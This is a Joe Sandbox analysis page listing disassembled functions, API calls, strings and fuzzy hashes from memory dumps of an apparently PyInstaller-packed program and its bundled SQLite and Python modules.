Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memcpy$memset$memmove
String ID: "%w" $%Q%s
API String ID: 3094553269-1987291987
Opcode ID: 174a6591da61526b4cbfd3a7c99bc796086c213a03ae54d3f04796288f9b0029
Instruction ID: b2b6b384b1cc412e93a151b719c3b158960dfbe63437ee4c3b018ee0e7162056
Opcode Fuzzy Hash: 174a6591da61526b4cbfd3a7c99bc796086c213a03ae54d3f04796288f9b0029
Instruction Fuzzy Hash: BAC1D266B08B8286EB18CB56A460F7A67A0FB55BA0F854675DE7E077D9CF3CE450C300

Function 00007FFDFAB90FF0 Relevance: 12.3, APIs: 5, Strings: 3, Instructions: 253COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FFDFAB912C7
memcpy.VCRUNTIME140 ref: 00007FFDFAB91335

Strings

%s at line %d of [%.10s], xrefs: 00007FFDFAB9108A
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFDFAB91072
database corruption, xrefs: 00007FFDFAB9107E

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memcpy
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
API String ID: 3510742995-3727861699
Opcode ID: 8f8de6ae6b6d490a4055b467e29cbc29010112429b2da8af393b7bcc79d98a68
Instruction ID: f168196b0d6f17fad30bd98f85815642359dd0ad690d7ca5e31ca2b620887491
Opcode Fuzzy Hash: 8f8de6ae6b6d490a4055b467e29cbc29010112429b2da8af393b7bcc79d98a68
Instruction Fuzzy Hash: B5B15732B0C2D196D7688B18E464ABE7BA1FF84784F448275DB9A877C9DE3CE044D710

Function 00007FFDFAB82C90 Relevance: 10.8, APIs: 1, Strings: 6, Instructions: 339COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FFDFAB8304A

Strings

misuse, xrefs: 00007FFDFAB82E39, 00007FFDFAB82EA6
%s at line %d of [%.10s], xrefs: 00007FFDFAB82E45, 00007FFDFAB82EB2
ATTACH x AS %Q, xrefs: 00007FFDFAB82D20
API called with finalized prepared statement, xrefs: 00007FFDFAB82E0C, 00007FFDFAB82E88
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFDFAB82D03, 00007FFDFAB82E99
API called with NULL prepared statement, xrefs: 00007FFDFAB82DF4

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memcpy
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$API called with NULL prepared statement$API called with finalized prepared statement$ATTACH x AS %Q$misuse
API String ID: 3510742995-1404302391
Opcode ID: 06dc864b5da4365f93e2859b549b119eeb8d62f17daef2259aa9f20ff05c9f44
Instruction ID: 2898dc0bc6d0c77f350822d1e0702d0b80dd09fddefe09f1a394a875fc8e29e1
Opcode Fuzzy Hash: 06dc864b5da4365f93e2859b549b119eeb8d62f17daef2259aa9f20ff05c9f44
Instruction Fuzzy Hash: 45F15E29B09B4285EB6C9B1AA464B7927A4FF40B84F9481B5DE7D4B7D9CF3CE4468300

Function 00007FFDFAA516D0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 122COMMON

Download Yara Rule

APIs

PyType_IsSubtype.PYTHON312 ref: 00007FFDFAA517A8
PyUnicode_FromString.PYTHON312 ref: 00007FFDFAA5180C
_PyArg_BadArgument.PYTHON312 ref: 00007FFDFAA539C2

Strings

category, xrefs: 00007FFDFAA539BB
a unicode character, xrefs: 00007FFDFAA539AD
argument, xrefs: 00007FFDFAA539B4

Memory Dump Source

Source File: 00000001.00000002.2068545702.00007FFDFAA51000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FFDFAA50000, based on PE: true

Associated: 00000001.00000002.2068513391.00007FFDFAA50000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAA55000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAB2000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAFE000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB02000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB07000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB5F000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068952212.00007FFDFAB62000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068988243.00007FFDFAB64000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaa50000_dens.jbxd

Similarity

API ID: Arg_ArgumentFromStringSubtypeType_Unicode_
String ID: a unicode character$argument$category
API String ID: 1318908108-2068800536
Opcode ID: c31e599aff6ce8fd118d7930930d13bb61e4023c7ccaaddb711cf16cebfbc0cd
Instruction ID: c2931c64f47234939bc8ec9bf7b639f15de5d7abe0b8a41343b31a0e41cb8010
Opcode Fuzzy Hash: c31e599aff6ce8fd118d7930930d13bb61e4023c7ccaaddb711cf16cebfbc0cd
Instruction Fuzzy Hash: 1E51FA62B18A468AEB6D9B05D470A7873A1FF84784F440075DA6F477DCDF2DE89AC304

Function 00007FFDFAA51000 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 106COMMON

Download Yara Rule

APIs

PyType_IsSubtype.PYTHON312 ref: 00007FFDFAA510D3
PyUnicode_FromString.PYTHON312 ref: 00007FFDFAA510F8
_PyArg_BadArgument.PYTHON312 ref: 00007FFDFAA53690

Strings

a unicode character, xrefs: 00007FFDFAA5367B
bidirectional, xrefs: 00007FFDFAA53689
argument, xrefs: 00007FFDFAA53682

Memory Dump Source

Source File: 00000001.00000002.2068545702.00007FFDFAA51000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FFDFAA50000, based on PE: true

Associated: 00000001.00000002.2068513391.00007FFDFAA50000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAA55000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAB2000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAFE000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB02000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB07000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB5F000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068952212.00007FFDFAB62000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068988243.00007FFDFAB64000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaa50000_dens.jbxd

Similarity

API ID: Arg_ArgumentFromStringSubtypeType_Unicode_
String ID: a unicode character$argument$bidirectional
API String ID: 1318908108-2110215792
Opcode ID: 2be184d8cc6ee1ee00809d45acc887d572eb9887141ab2374770304697e252f3
Instruction ID: 630a4135315aa349ad6959478f77625adc22f923d3a57087a04d8eed03e2eb5f
Opcode Fuzzy Hash: 2be184d8cc6ee1ee00809d45acc887d572eb9887141ab2374770304697e252f3
Instruction Fuzzy Hash: 8941F566B18A8389EB5D8B15D470B7A33A1FF44780F440079DA6F436DCCE2CE89AC314

Function 00007FF62C0FDCC8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF62C0FDF7A,?,?,?,00007FF62C0FDC6C,?,?,?,00007FF62C0FD869), ref: 00007FF62C0FDD4D
GetLastError.KERNEL32(?,?,?,00007FF62C0FDF7A,?,?,?,00007FF62C0FDC6C,?,?,?,00007FF62C0FD869), ref: 00007FF62C0FDD5B
LoadLibraryExW.KERNEL32(?,?,?,00007FF62C0FDF7A,?,?,?,00007FF62C0FDC6C,?,?,?,00007FF62C0FD869), ref: 00007FF62C0FDD85
FreeLibrary.KERNEL32(?,?,?,00007FF62C0FDF7A,?,?,?,00007FF62C0FDC6C,?,?,?,00007FF62C0FD869), ref: 00007FF62C0FDDF3
GetProcAddress.KERNEL32(?,?,?,00007FF62C0FDF7A,?,?,?,00007FF62C0FDC6C,?,?,?,00007FF62C0FD869), ref: 00007FF62C0FDDFF

Strings

api-ms-, xrefs: 00007FF62C0FDD6D

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 276526191d17588ee9fa22b972cdf0953455baf5c8a53fb276b347519b5968a9
Instruction ID: 64fc88088f0d49555f460cf314bb8f2f1eacb566aae9c479917a49c5146b055a
Opcode Fuzzy Hash: 276526191d17588ee9fa22b972cdf0953455baf5c8a53fb276b347519b5968a9
Instruction Fuzzy Hash: 3E31D421B1A74299EE12DF06AC006B923E4FF58BB4F594535ED1D87384EF3DE484832A

Function 00007FF62C0F2A50 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(00000000,?,?,?,00000000,00007FF62C0F351A,?,00000000,00007FF62C0F3F1B), ref: 00007FF62C0F2AA0

Strings

[PYI-%d:%s] , xrefs: 00007FF62C0F2AA8
0, xrefs: 00007FF62C0F2B16
Warning, xrefs: 00007FF62C0F2B1E
Warning [ANSI Fallback], xrefs: 00007FF62C0F2B0F
WARNING, xrefs: 00007FF62C0F2AAF

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: CurrentProcess
String ID: 0$WARNING$Warning$Warning [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-2900015858
Opcode ID: d3ff72078d09a899d0ca032b5bdbc8691629937d026b54217f09319e947088a3
Instruction ID: 6044575e71d00e65264cb3e3816727449ea070c0a7c1d4663241f63a3d3b7f1a
Opcode Fuzzy Hash: d3ff72078d09a899d0ca032b5bdbc8691629937d026b54217f09319e947088a3
Instruction Fuzzy Hash: 9921B272A18B8186EB20DB55BC867E66394FB887E4F400136FE8C83659DF7CD2858745

Function 00007FF62C0F8570 Relevance: 10.6, APIs: 7, Instructions: 63COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF62C0F8590
OpenProcessToken.ADVAPI32 ref: 00007FF62C0F85A3
GetTokenInformation.ADVAPI32 ref: 00007FF62C0F85C8
GetLastError.KERNEL32 ref: 00007FF62C0F85D2
GetTokenInformation.ADVAPI32 ref: 00007FF62C0F8612
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF62C0F862E
CloseHandle.KERNEL32 ref: 00007FF62C0F8646

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID:
API String ID: 995526605-0
Opcode ID: fa90e23b90d603ff8a1fc3170628a297920662056bab6e12f28c88f429b12389
Instruction ID: 27f1923d861f5aa6c08d6ba791f73f5243ecfc73ee9fb1d446c23abad981e651
Opcode Fuzzy Hash: fa90e23b90d603ff8a1fc3170628a297920662056bab6e12f28c88f429b12389
Instruction Fuzzy Hash: 12215121A0C64246EF109B59B94526EA3A4EF867F0F600335EA6D83BE4DFBDD4858705

Function 00007FF62C10B150 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF62C10B15F
FlsGetValue.KERNEL32 ref: 00007FF62C10B174
FlsSetValue.KERNEL32 ref: 00007FF62C10B195
FlsSetValue.KERNEL32 ref: 00007FF62C10B1C2
FlsSetValue.KERNEL32 ref: 00007FF62C10B1D3
FlsSetValue.KERNEL32 ref: 00007FF62C10B1E4
SetLastError.KERNEL32 ref: 00007FF62C10B1FF

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: bd40692f84e3da01acd5c9e715af8932c2ff4b5b564443a413d720313231dc09
Instruction ID: 3915a7cde2db868862b4d48efa27c30027c4c8515d8731f4f2ef2bd4d12fe783
Opcode Fuzzy Hash: bd40692f84e3da01acd5c9e715af8932c2ff4b5b564443a413d720313231dc09
Instruction Fuzzy Hash: 57212C24B0C68281FE58A325AE5F13962525F4A7B0F144634DD7EC6ACAEE3DB4608303

Function 00007FF62C117D6C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF62C117D9D
GetLastError.KERNEL32 ref: 00007FF62C117DA9
CloseHandle.KERNEL32 ref: 00007FF62C117DC1
CreateFileW.KERNEL32 ref: 00007FF62C117DEC
WriteConsoleW.KERNEL32 ref: 00007FF62C117E0B

Strings

CONOUT$, xrefs: 00007FF62C117DCD

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 3755c2f75cb97972cd4ab37a7e27d28fd0bf6f95a56d27d10542fc75f089f0eb
Instruction ID: f5b20213c2993350d6523f7d901f06bbbee1cccb359ffe2672accee5f38b1499
Opcode Fuzzy Hash: 3755c2f75cb97972cd4ab37a7e27d28fd0bf6f95a56d27d10542fc75f089f0eb
Instruction Fuzzy Hash: 8B119321B18A4186EB508B5AFC5A32963A0FF99BF4F040234EA5DC7794DFBCE8148742

Function 00007FFDFAA51150 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 40COMMON

Download Yara Rule

APIs

_PyArg_CheckPositional.PYTHON312 ref: 00007FFDFAA536E7
_PyArg_BadArgument.PYTHON312 ref: 00007FFDFAA5371A

Part of subcall function 00007FFDFAA511B0: PyUnicode_CompareWithASCIIString.PYTHON312 ref: 00007FFDFAA511E2
Part of subcall function 00007FFDFAA511B0: PyUnicode_CompareWithASCIIString.PYTHON312 ref: 00007FFDFAA511FA
Part of subcall function 00007FFDFAA511B0: PyType_IsSubtype.PYTHON312 ref: 00007FFDFAA5121D

Strings

argument 1, xrefs: 00007FFDFAA536F9
normalize, xrefs: 00007FFDFAA536DA, 00007FFDFAA53713
str, xrefs: 00007FFDFAA5370C
argument 2, xrefs: 00007FFDFAA53705

Memory Dump Source

Source File: 00000001.00000002.2068545702.00007FFDFAA51000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FFDFAA50000, based on PE: true

Associated: 00000001.00000002.2068513391.00007FFDFAA50000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAA55000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAB2000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAFE000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB02000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB07000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB5F000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068952212.00007FFDFAB62000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068988243.00007FFDFAB64000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaa50000_dens.jbxd

Similarity

API ID: Arg_CompareStringUnicode_With$ArgumentCheckPositionalSubtypeType_
String ID: argument 1$argument 2$normalize$str
API String ID: 4101545800-1320425463
Opcode ID: 6a3206665d50624963465f038f79663c2d3d68664346081dad0779ef5a43a2b4
Instruction ID: f3783b419ef62b3d59ade9fc141c4047fbef046baa5f430d556878a47f02bd23
Opcode Fuzzy Hash: 6a3206665d50624963465f038f79663c2d3d68664346081dad0779ef5a43a2b4
Instruction Fuzzy Hash: CF118661F18A8688EB588B11E470EBA7760BF54FC4F8480B5D92D076DCCE2CD44EC754

Function 00007FFDFAA54870 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 39COMMON

Download Yara Rule

APIs

_PyArg_CheckPositional.PYTHON312 ref: 00007FFDFAA5489C
_PyArg_BadArgument.PYTHON312 ref: 00007FFDFAA548D1

Strings

argument 1, xrefs: 00007FFDFAA548BC
is_normalized, xrefs: 00007FFDFAA5488F, 00007FFDFAA548CA
str, xrefs: 00007FFDFAA548C3
argument 2, xrefs: 00007FFDFAA548F2

Memory Dump Source

Source File: 00000001.00000002.2068545702.00007FFDFAA51000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FFDFAA50000, based on PE: true

Associated: 00000001.00000002.2068513391.00007FFDFAA50000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAA55000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAB2000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAFE000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB02000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB07000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB5F000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068952212.00007FFDFAB62000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068988243.00007FFDFAB64000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaa50000_dens.jbxd

Similarity

API ID: Arg_$ArgumentCheckPositional
String ID: argument 1$argument 2$is_normalized$str
API String ID: 3876575403-184702317
Opcode ID: 7c950a274d1c530a4e2b2ee5c75bc666441a244dd8d061769435580234d1272f
Instruction ID: fef90f4a78c521f0829b93eb2cd2a0af5d7b86c84d2bc5e5d107d9eb4c1b0e34
Opcode Fuzzy Hash: 7c950a274d1c530a4e2b2ee5c75bc666441a244dd8d061769435580234d1272f
Instruction Fuzzy Hash: 7B018260F08A8699EB588B51E4A1FB53361AB14FC4F8490B1D92E072DCCE2CD48EC300

Function 00007FFDFABD6750 Relevance: 9.3, APIs: 3, Strings: 3, Instructions: 338COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FFDFABD689B
memcpy.VCRUNTIME140 ref: 00007FFDFABD68E2
memcpy.VCRUNTIME140 ref: 00007FFDFABD6B6E

Strings

number of columns in foreign key does not match the number of columns in the referenced table, xrefs: 00007FFDFABD67FE
unknown column "%s" in foreign key definition, xrefs: 00007FFDFABD6AFE
foreign key on %s should reference only one column of table %T, xrefs: 00007FFDFABD67D5

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memcpy$memset
String ID: foreign key on %s should reference only one column of table %T$number of columns in foreign key does not match the number of columns in the referenced table$unknown column "%s" in foreign key definition
API String ID: 438689982-272990098
Opcode ID: 9cbe160e30e237f4906a042bf25e86bf704ec8520060b0cc770f4883f574f888
Instruction ID: ee5c807a673c055b9acb5ac53063593eb5bf9704ca97a334c2fecfdda3946c94
Opcode Fuzzy Hash: 9cbe160e30e237f4906a042bf25e86bf704ec8520060b0cc770f4883f574f888
Instruction Fuzzy Hash: E2D1E062F1978282EB288B15A474AB93B91FB55BD4F8841B2DEAD077C9DF3CE441C300

Function 00007FFDFAB955B0 Relevance: 9.3, APIs: 3, Strings: 3, Instructions: 314COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FFDFAB9577D
memcpy.VCRUNTIME140 ref: 00007FFDFAB95965
memcpy.VCRUNTIME140 ref: 00007FFDFAB9597A

Strings

%s at line %d of [%.10s], xrefs: 00007FFDFAB9560D
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFDFAB955F5
database corruption, xrefs: 00007FFDFAB95601

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memcpy$memset
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
API String ID: 438689982-3727861699
Opcode ID: d34391e6d3d6271bf35f46571239bf28f8455564d61c842ce53984c41de6952a
Instruction ID: 10fec1c3843772dfadceff66acf1916a21d2ed3d357b901b0de5bbd1f344f221
Opcode Fuzzy Hash: d34391e6d3d6271bf35f46571239bf28f8455564d61c842ce53984c41de6952a
Instruction Fuzzy Hash: 63D1CE72B0C68586DB68CF19E460AA9B7A8FB88B48F954132DE5D47798DF3CD805C700

Function 00007FFDFAB992A0 Relevance: 9.2, APIs: 3, Strings: 3, Instructions: 217COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FFDFAB9935B
memmove.VCRUNTIME140 ref: 00007FFDFAB993ED
memmove.VCRUNTIME140 ref: 00007FFDFAB9946C

Strings

%s at line %d of [%.10s], xrefs: 00007FFDFAB99335
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFDFAB9931D
database corruption, xrefs: 00007FFDFAB99329

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memmove
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
API String ID: 2162964266-3727861699
Opcode ID: b96d72c1d7f2f0b15a15af28fe8bcf2d98dfa3ab5332cd19302b67252b29adcf
Instruction ID: bc64cb2549760228b426dbdca2a316c8ee70b79ae4cc948ec12c7368e7f069bd
Opcode Fuzzy Hash: b96d72c1d7f2f0b15a15af28fe8bcf2d98dfa3ab5332cd19302b67252b29adcf
